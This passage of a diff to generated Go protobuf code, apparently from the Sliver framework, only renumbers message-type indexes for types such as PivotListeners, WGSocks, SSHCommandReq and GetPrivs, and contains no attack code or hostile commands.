ms.LoadMessageInfo() == nil { @@ -8321,7 +8447,7 @@ func (x *PivotListenersReq) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotListenersReq.ProtoReflect.Descriptor instead. func (*PivotListenersReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{119} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{121} } func (x *PivotListenersReq) GetRequest() *commonpb.Request { @@ -8343,7 +8469,7 @@ type PivotListeners struct { func (x *PivotListeners) Reset() { *x = PivotListeners{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[120] + mi := &file_sliverpb_sliver_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8356,7 +8482,7 @@ func (x *PivotListeners) String() string { func (*PivotListeners) ProtoMessage() {} func (x *PivotListeners) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[120] + mi := &file_sliverpb_sliver_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8369,7 +8495,7 @@ func (x *PivotListeners) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotListeners.ProtoReflect.Descriptor instead. func (*PivotListeners) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{120} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{122} } func (x *PivotListeners) GetListeners() []*PivotListener { @@ -8399,7 +8525,7 @@ type WGPortForwardStartReq struct { func (x *WGPortForwardStartReq) Reset() { *x = WGPortForwardStartReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[121] + mi := &file_sliverpb_sliver_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8412,7 +8538,7 @@ func (x *WGPortForwardStartReq) String() string { func (*WGPortForwardStartReq) ProtoMessage() {} func (x *WGPortForwardStartReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[121] + mi := &file_sliverpb_sliver_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8425,7 +8551,7 @@ func (x *WGPortForwardStartReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGPortForwardStartReq.ProtoReflect.Descriptor instead. func (*WGPortForwardStartReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{121} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{123} } func (x *WGPortForwardStartReq) GetLocalPort() int32 { @@ -8461,7 +8587,7 @@ type WGPortForward struct { func (x *WGPortForward) Reset() { *x = WGPortForward{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[122] + mi := &file_sliverpb_sliver_proto_msgTypes[124] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8474,7 +8600,7 @@ func (x *WGPortForward) String() string { func (*WGPortForward) ProtoMessage() {} func (x *WGPortForward) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[122] + mi := &file_sliverpb_sliver_proto_msgTypes[124] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8487,7 +8613,7 @@ func (x *WGPortForward) ProtoReflect() protoreflect.Message { // Deprecated: Use WGPortForward.ProtoReflect.Descriptor instead. func (*WGPortForward) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{122} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{124} } func (x *WGPortForward) GetForwarder() *WGTCPForwarder { @@ -8516,7 +8642,7 @@ type WGPortForwardStopReq struct { func (x *WGPortForwardStopReq) Reset() { *x = WGPortForwardStopReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[123] + mi := &file_sliverpb_sliver_proto_msgTypes[125] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8529,7 +8655,7 @@ func (x *WGPortForwardStopReq) String() string { func (*WGPortForwardStopReq) ProtoMessage() {} func (x *WGPortForwardStopReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[123] + mi := &file_sliverpb_sliver_proto_msgTypes[125] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8542,7 +8668,7 @@ func (x *WGPortForwardStopReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGPortForwardStopReq.ProtoReflect.Descriptor instead. func (*WGPortForwardStopReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{123} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{125} } func (x *WGPortForwardStopReq) GetID() int32 { @@ -8571,7 +8697,7 @@ type WGSocksStartReq struct { func (x *WGSocksStartReq) Reset() { *x = WGSocksStartReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[124] + mi := &file_sliverpb_sliver_proto_msgTypes[126] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8584,7 +8710,7 @@ func (x *WGSocksStartReq) String() string { func (*WGSocksStartReq) ProtoMessage() {} func (x *WGSocksStartReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[124] + mi := &file_sliverpb_sliver_proto_msgTypes[126] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8597,7 +8723,7 @@ func (x *WGSocksStartReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGSocksStartReq.ProtoReflect.Descriptor instead. func (*WGSocksStartReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{124} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{126} } func (x *WGSocksStartReq) GetPort() int32 { @@ -8626,7 +8752,7 @@ type WGSocks struct { func (x *WGSocks) Reset() { *x = WGSocks{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[125] + mi := &file_sliverpb_sliver_proto_msgTypes[127] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8639,7 +8765,7 @@ func (x *WGSocks) String() string { func (*WGSocks) ProtoMessage() {} func (x *WGSocks) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[125] + mi := &file_sliverpb_sliver_proto_msgTypes[127] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8652,7 +8778,7 @@ func (x *WGSocks) ProtoReflect() protoreflect.Message { // Deprecated: Use WGSocks.ProtoReflect.Descriptor instead. func (*WGSocks) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{125} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{127} } func (x *WGSocks) GetServer() *WGSocksServer { @@ -8681,7 +8807,7 @@ type WGSocksStopReq struct { func (x *WGSocksStopReq) Reset() { *x = WGSocksStopReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[126] + mi := &file_sliverpb_sliver_proto_msgTypes[128] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8694,7 +8820,7 @@ func (x *WGSocksStopReq) String() string { func (*WGSocksStopReq) ProtoMessage() {} func (x *WGSocksStopReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[126] + mi := &file_sliverpb_sliver_proto_msgTypes[128] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8707,7 +8833,7 @@ func (x *WGSocksStopReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGSocksStopReq.ProtoReflect.Descriptor instead. func (*WGSocksStopReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{126} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{128} } func (x *WGSocksStopReq) GetID() int32 { @@ -8735,7 +8861,7 @@ type WGTCPForwardersReq struct { func (x *WGTCPForwardersReq) Reset() { *x = WGTCPForwardersReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[127] + mi := &file_sliverpb_sliver_proto_msgTypes[129] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8748,7 +8874,7 @@ func (x *WGTCPForwardersReq) String() string { func (*WGTCPForwardersReq) ProtoMessage() {} func (x *WGTCPForwardersReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[127] + mi := &file_sliverpb_sliver_proto_msgTypes[129] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8761,7 +8887,7 @@ func (x *WGTCPForwardersReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGTCPForwardersReq.ProtoReflect.Descriptor instead. func (*WGTCPForwardersReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{127} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{129} } func (x *WGTCPForwardersReq) GetRequest() *commonpb.Request { @@ -8782,7 +8908,7 @@ type WGSocksServersReq struct { func (x *WGSocksServersReq) Reset() { *x = WGSocksServersReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[128] + mi := &file_sliverpb_sliver_proto_msgTypes[130] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8795,7 +8921,7 @@ func (x *WGSocksServersReq) String() string { func (*WGSocksServersReq) ProtoMessage() {} func (x *WGSocksServersReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[128] + mi := &file_sliverpb_sliver_proto_msgTypes[130] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8808,7 +8934,7 @@ func (x *WGSocksServersReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGSocksServersReq.ProtoReflect.Descriptor instead. func (*WGSocksServersReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{128} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{130} } func (x *WGSocksServersReq) GetRequest() *commonpb.Request { @@ -8831,7 +8957,7 @@ type WGTCPForwarder struct { func (x *WGTCPForwarder) Reset() { *x = WGTCPForwarder{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[129] + mi := &file_sliverpb_sliver_proto_msgTypes[131] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8844,7 +8970,7 @@ func (x *WGTCPForwarder) String() string { func (*WGTCPForwarder) ProtoMessage() {} func (x *WGTCPForwarder) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[129] + mi := &file_sliverpb_sliver_proto_msgTypes[131] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8857,7 +8983,7 @@ func (x *WGTCPForwarder) ProtoReflect() protoreflect.Message { // Deprecated: Use WGTCPForwarder.ProtoReflect.Descriptor instead. func (*WGTCPForwarder) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{129} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{131} } func (x *WGTCPForwarder) GetID() int32 { @@ -8893,7 +9019,7 @@ type WGSocksServer struct { func (x *WGSocksServer) Reset() { *x = WGSocksServer{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[130] + mi := &file_sliverpb_sliver_proto_msgTypes[132] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8906,7 +9032,7 @@ func (x *WGSocksServer) String() string { func (*WGSocksServer) ProtoMessage() {} func (x *WGSocksServer) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[130] + mi := &file_sliverpb_sliver_proto_msgTypes[132] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8919,7 +9045,7 @@ func (x *WGSocksServer) ProtoReflect() protoreflect.Message { // Deprecated: Use WGSocksServer.ProtoReflect.Descriptor instead. func (*WGSocksServer) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{130} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{132} } func (x *WGSocksServer) GetID() int32 { @@ -8948,7 +9074,7 @@ type WGSocksServers struct { func (x *WGSocksServers) Reset() { *x = WGSocksServers{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[131] + mi := &file_sliverpb_sliver_proto_msgTypes[133] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8961,7 +9087,7 @@ func (x *WGSocksServers) String() string { func (*WGSocksServers) ProtoMessage() {} func (x *WGSocksServers) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[131] + mi := &file_sliverpb_sliver_proto_msgTypes[133] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8974,7 +9100,7 @@ func (x *WGSocksServers) ProtoReflect() protoreflect.Message { // Deprecated: Use WGSocksServers.ProtoReflect.Descriptor instead. func (*WGSocksServers) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{131} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{133} } func (x *WGSocksServers) GetServers() []*WGSocksServer { @@ -9003,7 +9129,7 @@ type WGTCPForwarders struct { func (x *WGTCPForwarders) Reset() { *x = WGTCPForwarders{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[132] + mi := &file_sliverpb_sliver_proto_msgTypes[134] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9016,7 +9142,7 @@ func (x *WGTCPForwarders) String() string { func (*WGTCPForwarders) ProtoMessage() {} func (x *WGTCPForwarders) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[132] + mi := &file_sliverpb_sliver_proto_msgTypes[134] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9029,7 +9155,7 @@ func (x *WGTCPForwarders) ProtoReflect() protoreflect.Message { // Deprecated: Use WGTCPForwarders.ProtoReflect.Descriptor instead. func (*WGTCPForwarders) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{132} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{134} } func (x *WGTCPForwarders) GetForwarders() []*WGTCPForwarder { @@ -9061,7 +9187,7 @@ type ReconfigureReq struct { func (x *ReconfigureReq) Reset() { *x = ReconfigureReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[133] + mi := &file_sliverpb_sliver_proto_msgTypes[135] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9074,7 +9200,7 @@ func (x *ReconfigureReq) String() string { func (*ReconfigureReq) ProtoMessage() {} func (x *ReconfigureReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[133] + mi := &file_sliverpb_sliver_proto_msgTypes[135] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9087,7 +9213,7 @@ func (x *ReconfigureReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ReconfigureReq.ProtoReflect.Descriptor instead. func (*ReconfigureReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{133} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{135} } func (x *ReconfigureReq) GetReconnectInterval() int64 { @@ -9129,7 +9255,7 @@ type Reconfigure struct { func (x *Reconfigure) Reset() { *x = Reconfigure{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[134] + mi := &file_sliverpb_sliver_proto_msgTypes[136] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9142,7 +9268,7 @@ func (x *Reconfigure) String() string { func (*Reconfigure) ProtoMessage() {} func (x *Reconfigure) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[134] + mi := &file_sliverpb_sliver_proto_msgTypes[136] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9155,7 +9281,7 @@ func (x *Reconfigure) ProtoReflect() protoreflect.Message { // Deprecated: Use Reconfigure.ProtoReflect.Descriptor instead. func (*Reconfigure) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{134} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{136} } func (x *Reconfigure) GetResponse() *commonpb.Response { @@ -9178,7 +9304,7 @@ type PollIntervalReq struct { func (x *PollIntervalReq) Reset() { *x = PollIntervalReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[135] + mi := &file_sliverpb_sliver_proto_msgTypes[137] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9191,7 +9317,7 @@ func (x *PollIntervalReq) String() string { func (*PollIntervalReq) ProtoMessage() {} func (x *PollIntervalReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[135] + mi := &file_sliverpb_sliver_proto_msgTypes[137] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9204,7 +9330,7 @@ func (x *PollIntervalReq) ProtoReflect() protoreflect.Message { // Deprecated: Use PollIntervalReq.ProtoReflect.Descriptor instead. func (*PollIntervalReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{135} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{137} } func (x *PollIntervalReq) GetPollInterval() int64 { @@ -9232,7 +9358,7 @@ type PollInterval struct { func (x *PollInterval) Reset() { *x = PollInterval{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[136] + mi := &file_sliverpb_sliver_proto_msgTypes[138] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9245,7 +9371,7 @@ func (x *PollInterval) String() string { func (*PollInterval) ProtoMessage() {} func (x *PollInterval) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[136] + mi := &file_sliverpb_sliver_proto_msgTypes[138] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9258,7 +9384,7 @@ func (x *PollInterval) ProtoReflect() protoreflect.Message { // Deprecated: Use PollInterval.ProtoReflect.Descriptor instead. func (*PollInterval) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{136} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{138} } func (x *PollInterval) GetResponse() *commonpb.Response { @@ -9288,7 +9414,7 @@ type SSHCommandReq struct { func (x *SSHCommandReq) Reset() { *x = SSHCommandReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[137] + mi := &file_sliverpb_sliver_proto_msgTypes[139] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9301,7 +9427,7 @@ func (x *SSHCommandReq) String() string { func (*SSHCommandReq) ProtoMessage() {} func (x *SSHCommandReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[137] + mi := &file_sliverpb_sliver_proto_msgTypes[139] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9314,7 +9440,7 @@ func (x *SSHCommandReq) ProtoReflect() protoreflect.Message { // Deprecated: Use SSHCommandReq.ProtoReflect.Descriptor instead. func (*SSHCommandReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{137} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{139} } func (x *SSHCommandReq) GetUsername() string { @@ -9400,7 +9526,7 @@ type SSHCommand struct { func (x *SSHCommand) Reset() { *x = SSHCommand{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[138] + mi := &file_sliverpb_sliver_proto_msgTypes[140] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9413,7 +9539,7 @@ func (x *SSHCommand) String() string { func (*SSHCommand) ProtoMessage() {} func (x *SSHCommand) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[138] + mi := &file_sliverpb_sliver_proto_msgTypes[140] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9426,7 +9552,7 @@ func (x *SSHCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use SSHCommand.ProtoReflect.Descriptor instead. func (*SSHCommand) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{138} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{140} } func (x *SSHCommand) GetStdOut() string { @@ -9461,7 +9587,7 @@ type GetPrivsReq struct { func (x *GetPrivsReq) Reset() { *x = GetPrivsReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[139] + mi := &file_sliverpb_sliver_proto_msgTypes[141] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9474,7 +9600,7 @@ func (x *GetPrivsReq) String() string { func (*GetPrivsReq) ProtoMessage() {} func (x *GetPrivsReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[139] + mi := &file_sliverpb_sliver_proto_msgTypes[141] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9487,7 +9613,7 @@ func (x *GetPrivsReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GetPrivsReq.ProtoReflect.Descriptor instead. func (*GetPrivsReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{139} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{141} } func (x *GetPrivsReq) GetRequest() *commonpb.Request { @@ -9513,7 +9639,7 @@ type WindowsPrivilegeEntry struct { func (x *WindowsPrivilegeEntry) Reset() { *x = WindowsPrivilegeEntry{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[140] + mi := &file_sliverpb_sliver_proto_msgTypes[142] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9526,7 +9652,7 @@ func (x *WindowsPrivilegeEntry) String() string { func (*WindowsPrivilegeEntry) ProtoMessage() {} func (x *WindowsPrivilegeEntry) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[140] + mi := &file_sliverpb_sliver_proto_msgTypes[142] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9539,7 +9665,7 @@ func (x *WindowsPrivilegeEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use WindowsPrivilegeEntry.ProtoReflect.Descriptor instead. func (*WindowsPrivilegeEntry) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{140} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{142} } func (x *WindowsPrivilegeEntry) GetName() string { @@ -9598,7 +9724,7 @@ type GetPrivs struct { func (x *GetPrivs) Reset() { *x = GetPrivs{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[141] + mi := &file_sliverpb_sliver_proto_msgTypes[143] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9611,7 +9737,7 @@ func (x *GetPrivs) String() string { func (*GetPrivs) ProtoMessage() {} func (x *GetPrivs) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[141] + mi := &file_sliverpb_sliver_proto_msgTypes[143] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9624,7 +9750,7 @@ func (x *GetPrivs) ProtoReflect() protoreflect.Message { // Deprecated: Use GetPrivs.ProtoReflect.Descriptor instead. func (*GetPrivs) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{141} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{143} } func (x *GetPrivs) GetPrivInfo() []*WindowsPrivilegeEntry { @@ -9670,7 +9796,7 @@ type RegisterExtensionReq struct { func (x *RegisterExtensionReq) Reset() { *x = RegisterExtensionReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[142] + mi := &file_sliverpb_sliver_proto_msgTypes[144] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9683,7 +9809,7 @@ func (x *RegisterExtensionReq) String() string { func (*RegisterExtensionReq) ProtoMessage() {} func (x *RegisterExtensionReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[142] + mi := &file_sliverpb_sliver_proto_msgTypes[144] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9696,7 +9822,7 @@ func (x *RegisterExtensionReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegisterExtensionReq.ProtoReflect.Descriptor instead. func (*RegisterExtensionReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{142} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{144} } func (x *RegisterExtensionReq) GetName() string { @@ -9745,7 +9871,7 @@ type RegisterExtension struct { func (x *RegisterExtension) Reset() { *x = RegisterExtension{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[143] + mi := &file_sliverpb_sliver_proto_msgTypes[145] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9758,7 +9884,7 @@ func (x *RegisterExtension) String() string { func (*RegisterExtension) ProtoMessage() {} func (x *RegisterExtension) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[143] + mi := &file_sliverpb_sliver_proto_msgTypes[145] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9771,7 +9897,7 @@ func (x *RegisterExtension) ProtoReflect() protoreflect.Message { // Deprecated: Use RegisterExtension.ProtoReflect.Descriptor instead. func (*RegisterExtension) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{143} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{145} } func (x *RegisterExtension) GetResponse() *commonpb.Response { @@ -9796,7 +9922,7 @@ type CallExtensionReq struct { func (x *CallExtensionReq) Reset() { *x = CallExtensionReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[144] + mi := &file_sliverpb_sliver_proto_msgTypes[146] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9809,7 +9935,7 @@ func (x *CallExtensionReq) String() string { func (*CallExtensionReq) ProtoMessage() {} func (x *CallExtensionReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[144] + mi := &file_sliverpb_sliver_proto_msgTypes[146] if protoimpl.UnsafeEnabled 